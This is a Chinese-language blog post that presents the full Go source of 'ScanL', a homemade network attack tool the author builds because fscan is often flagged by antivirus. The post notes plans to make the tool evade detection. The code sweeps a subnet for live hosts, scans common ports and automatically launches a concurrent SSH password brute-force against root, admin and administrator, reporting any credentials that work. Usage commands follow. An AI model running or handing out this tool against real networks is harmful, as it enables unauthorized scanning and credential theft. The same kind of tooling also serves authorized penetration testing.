文章目录
前言
为什么要写这个?
- fscna被杀的概率太高(哪天二开一下免杀)。
- go还在学习的阶段正是写项目的时候,边写边学习go项目。
- 自己写的项目改起来更加方便。
- 实现功能暂时定为网段扫描和暴力破解和输出文档。
现实现的功能较少后序开发会逐步加入简单漏洞探探测和代理功能。
一、开发过程
项目已经打包上传至github:https://github.com/19xinan/Scanl
1.项目结构
项目结构非常简单,现在开发的基本功能包括主机存活探测、端口扫描、暴力破解功能其他功能后序开发。
scanl/|-- main.go//程序入口,主函数包括命令格式和网段格式限制|-- core/||-- scanner.go// 扫描器,包括线程控制||-- services.go//服务识别|-- bruteforce/||-- bruteforce.go//暴力破解模版|-- pass.txt//暴力破解使用的密码文件
2.main.go
1.实现网段限制
2.实现网段存活探测
3.实现命令行参数限制
4.实现输出扫描结果文档
package main
import("flag""fmt""net""os""sync""time""scanl/bruteforce""scanl/core")funcmain(){
fmt.Println(`
██████ ▄████▄ ▄▄▄ ███▄ █ ██▓
▒██ ▒ ▒██▀ ▀█ ▒████▄ ██ ▀█ █ ▓██▒
░ ▓██▄ ▒▓█ ▄ ▒██ ▀█▄ ▓██ ▀█ ██▒▒██░
▒ ██▒▒▓▓▄ ▄██▒░██▄▄▄▄██ ▓██▒ ▐▌██▒▒██░
▒██████▒▒▒ ▓███▀ ░ ▓█ ▓██▒▒██░ ▓██░░██████▒
▒ ▒▓▒ ▒ ░░ ░▒ ▒ ░ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ░ ▒░▓ ░
░ ░▒ ░ ░ ░ ▒ ▒ ▒▒ ░░ ░░ ░ ▒░░ ░ ▒ ░
░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░
`)// 解析命令行参数:-h网段、-all全端口、-t线程数、-pwd指定密码文件、-output指定输出文件名(不指定默认输出)
subnet := flag.String("h","","Target subnet for scanning (e.g., 192.168.10.0/24)")
allPorts := flag.Bool("all",false,"Scan all ports (0-65535)")
threads := flag.Int("t",100,"Number of concurrent threads")
passwordFile := flag.String("pwd","pass.txt","Password file for bruteforce")
outputFile := flag.String("output","scan_results.txt","Output file for scan results")
flag.Parse()//检查网段if*subnet ==""{
fmt.Println("Usage: ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt]")
os.Exit(1)}// 打开输出文件
outputFileHandle, err := os.OpenFile(*outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC,0644)if err !=nil{
fmt.Printf("Error opening output file: %v\n", err)
os.Exit(1)}defer outputFileHandle.Close()// 解析网段
ips, err :=expandCIDR(*subnet)if err !=nil{
fmt.Fprintf(outputFileHandle,"Error parsing subnet: %v\n", err)
os.Exit(1)}var wg sync.WaitGroup
var mutex sync.Mutex
var aliveHosts []string// 检测存活主机并输出到终端和文件for_, ip :=range ips {
wg.Add(1)gofunc(ip string){defer wg.Done()ifisHostAlive(ip){
mutex.Lock()
aliveHosts =append(aliveHosts, ip)
mutex.Unlock()
fmt.Printf("Host %s is alive\n", ip)
fmt.Fprintf(outputFileHandle,"Host %s is alive\n", ip)}else{
fmt.Printf("Host %s is not alive\n", ip)
fmt.Fprintf(outputFileHandle,"Host %s is not alive\n", ip)}}(ip)}
wg.Wait()// 输出存活主机到文件
fmt.Fprintln(outputFileHandle,"Alive hosts in subnet:")for_, ip :=range aliveHosts {
fmt.Fprintln(outputFileHandle, ip)}var ports []intif*allPorts {
ports =make([]int,65536)for i :=0; i <=65535; i++{
ports[i]= i
}}else{
ports =[]int{21,22,23,25,53,80,110,119,123,143,161,194,443,445,465,587,993,995,1433,1521,1723,3306,3389,5900,8080,8443,8888,9090,7001,9999,6379,9200,9300,27017}// 精简端口列表}// 扫描主机并输出结果到终端和文件for_, ip :=range aliveHosts {
fmt.Fprintf(outputFileHandle,"Scanning host: %s\n", ip)
fmt.Printf("Scanning host: %s\n", ip)
results := core.ScanPorts(ip, ports,*threads)
fmt.Fprintf(outputFileHandle,"Open ports on host %s:\n", ip)
fmt.Printf("Open ports on host %s:\n", ip)for port, service :=range results {if service !="Closed"{
fmt.Fprintf(outputFileHandle,"Port %d: %s\n", port, service)
fmt.Printf("Port %d: %s\n", port, service)}}// 默认启用暴力破解模块,针对开启了SSH或RDP的端口if service, found := results[22]; found && service =="SSH"{
fmt.Fprintln(outputFileHandle,"Starting bruteforce attack on SSH...")
fmt.Println("Starting bruteforce attack on SSH...")
bruteforce.Bruteforce(ip,22,*passwordFile)}//RDP实现有问题暂存//if service, found := results[3389]; found && service == "RDP" {// fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on RDP...")// fmt.Println("Starting bruteforce attack on RDP...")// bruteforce.Bruteforce(ip, 3389, *passwordFile)//}
fmt.Fprintln(outputFileHandle,"---------------------------------------------")
fmt.Println("---------------------------------------------")}
fmt.Printf("Scan results saved to %s\n",*outputFile)}// expandCIDR 解析网段,生成所有 IP 地址funcexpandCIDR(cidr string)([]string,error){
ip, ipNet, err := net.ParseCIDR(cidr)if err !=nil{returnnil, err
}var ips []stringfor ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip);inc(ip){
ips =append(ips, ip.String())}// 排除网络地址和广播地址
lenIPs :=len(ips)switch{case lenIPs <2:breakcase lenIPs >2:
ips = ips[1:len(ips)-1]}return ips,nil}// IP地址递增funcinc(ip net.IP){for j :=len(ip)-1; j >=0; j--{
ip[j]++if ip[j]>0{break}}}// isHostAlive 检测主机是否存活funcisHostAlive(ip string)bool{
timeout :=2* time.Second
conn, err := net.DialTimeout("ip4:icmp", ip, timeout)if err !=nil{returnfalse}defer conn.Close()returntrue}
3.core模块
3.1 scanner.go
package core
import("fmt""net""sync""time")// ScanPorts 扫描指定主机的指定端口,使用指定数量的并发线程funcScanPorts(host string, ports []int, threads int)map[int]string{
results :=make(map[int]string)var mu sync.Mutex
var wg sync.WaitGroup
portChan :=make(chanint,len(ports))// 启动指定数量的goroutinesfor i :=0; i < threads; i++{
wg.Add(1)gofunc(){defer wg.Done()for port :=range portChan {
service :=scanPort(host, port)
mu.Lock()
results[port]= service
mu.Unlock()}}()}// 将所有端口放入通道for_, port :=range ports {
portChan <- port
}close(portChan)
wg.Wait()return results
}// scanPort 扫描单个端口funcscanPort(host string, port int)string{
address := fmt.Sprintf("%s:%d", host, port)
conn, err := net.DialTimeout("tcp", address,1*time.Second)if err !=nil{return"Closed"}deferfunc(conn net.Conn){
err := conn.Close()if err !=nil{}}(conn)returnidentifyService(port)}
3.2 service.go
package core
// identifyService 根据端口号识别服务funcidentifyService(port int)string{
services :=map[int]string{21:"FTP",22:"SSH",23:"Telnet",25:"SMTP",53:"DNS",80:"HTTP",110:"POP3",119:"NNTP",123:"NTP",143:"IMAP",161:"SNMP",194:"IRC",443:"HTTPS",445:"SMB",465:"SMTPS",587:"Submission",993:"IMAPS",995:"POP3S",1433:"MSSQL",1521:"Oracle DB",1723:"PPTP",3306:"MySQL",3389:"RDP",5900:"VNC",8080:"HTTP-Proxy",8443:"HTTPS-Alt",8888:"HTTP-Alt",9090:"Weblogic",7001:"Weblogic-Alt",9999:"HTTP-Alt2",6379:"Redis",9200:"Elasticsearch",9300:"Elasticsearch-Transport",27017:"MongoDB",}if service, found := services[port]; found {return service
}return"Unknown"}
4.bruteforc
这里少了rdp的爆破
4.1 bruteforce.go
package bruteforce
import("bufio""fmt""os""sync""time""golang.org/x/crypto/ssh")// 默认账号列表var defaultAccounts =[]string{"root","admin","administrator"}// Bruteforce 执行暴力破解攻击funcBruteforce(host string, port int, passwordFile string){
passwords, err :=readPasswords(passwordFile)if err !=nil{
fmt.Printf("Error reading password file: %v\n", err)return}var wg sync.WaitGroup
wg.Add(len(defaultAccounts)*len(passwords))// 并发尝试不同的账号和密码组合for_, account :=range defaultAccounts {for_, password :=range passwords {gofunc(host string, port int, account string, password string){defer wg.Done()
fmt.Printf("Trying account: %s, password: %s\n", account, password)ifsshLogin(host, port, account, password){
fmt.Printf("SSH login successful: %s:%s@%s\n", account, password, host)}}(host, port, account, password)}}
wg.Wait()}// readPasswords 读取密码文件funcreadPasswords(filePath string)([]string,error){
file, err := os.Open(filePath)if err !=nil{returnnil, err
}deferfunc(file *os.File){
err := file.Close()if err !=nil{}}(file)var passwords []string
scanner := bufio.NewScanner(file)for scanner.Scan(){
passwords =append(passwords, scanner.Text())}if err := scanner.Err(); err !=nil{returnnil, err
}return passwords,nil}// sshLogin 尝试使用SSH登录funcsshLogin(host string, port int, username, password string)bool{
config :=&ssh.ClientConfig{
User: username,
Auth:[]ssh.AuthMethod{
ssh.Password(password),},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout:5* time.Second,}
conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", host, port), config)if err !=nil{returnfalse}deferfunc(conn *ssh.Client){
err := conn.Close()if err !=nil{}}(conn)returntrue}
二、使用步骤
ScanL.exe -h 192.168.10.1/24
其他参数
ScanL.exe -h <target_subnet>[-all][-t N][-pwd pass.txt][-output scan_results.txt]
版权归原作者 0x717866 所有, 如有侵权,请联系我们删除。